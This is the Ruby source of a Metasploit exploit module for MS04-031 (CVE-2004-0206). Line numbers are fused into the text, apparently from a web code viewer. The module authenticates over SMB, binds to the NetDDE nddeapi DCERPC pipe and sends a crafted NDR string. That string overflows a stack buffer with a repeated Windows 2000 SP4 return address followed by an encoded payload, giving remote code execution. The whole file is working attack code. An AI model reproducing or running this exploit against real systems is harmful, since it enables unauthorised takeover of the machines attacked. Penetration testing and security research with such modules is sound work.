Path: blob/master/modules/exploits/windows/smb/ms04_031_netdde.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS04-031 Microsoft NetDDE Service Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the NetDDE service, which is the18precursor to the DCOM interface. This exploit effects only operating systems19released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim20that this vulnerability can be exploited without authentication, the NDDEAPI21pipe is only accessible after successful authentication.22},23'Author' => [ 'pusscat' ],24'License' => BSD_LICENSE,25'References' => [26[ 'CVE', '2004-0206'],27[ 'OSVDB', '10689'],28[ 'BID', '11372'],29[ 'MSB', 'MS04-031'],3031],32'Privileged' => true,33'DefaultOptions' => {34'EXITFUNC' => 'thread'35},36'Payload' => {37'Space' => (0x600 - (133 * 4) - 4),38'BadChars' => "\\/.:$\x00", # \ / . : $ NULL39'Prepend' => 'A' * 8,40},41'Platform' => 'win',42'Targets' => [43[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)44],45'DefaultTarget' => 0,46'DisclosureDate' => '2004-10-12',47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),58]59)60end6162def exploit63connect()64smb_login()65print_status("Trying target #{target.name}...")6667handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])68print_status("Binding to #{handle}")69dcerpc_bind(handle)70print_status("Bound to #{handle}")7172retOverWrite =73'AA' + (NDR.long(target.ret) * 133) + payload.encoded7475overflowChunk =76retOverWrite +77NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.78NDR.long(0x0)7980stubdata =81NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +82NDR.long(rand(0xFFFFFFFF))8384print_status('Calling the vulnerable function...')8586begin87response = dcerpc.call(0xc, stubdata)88rescue Rex::Proto::DCERPC::Exceptions::NoResponse89end9091handler92disconnect93end94end959697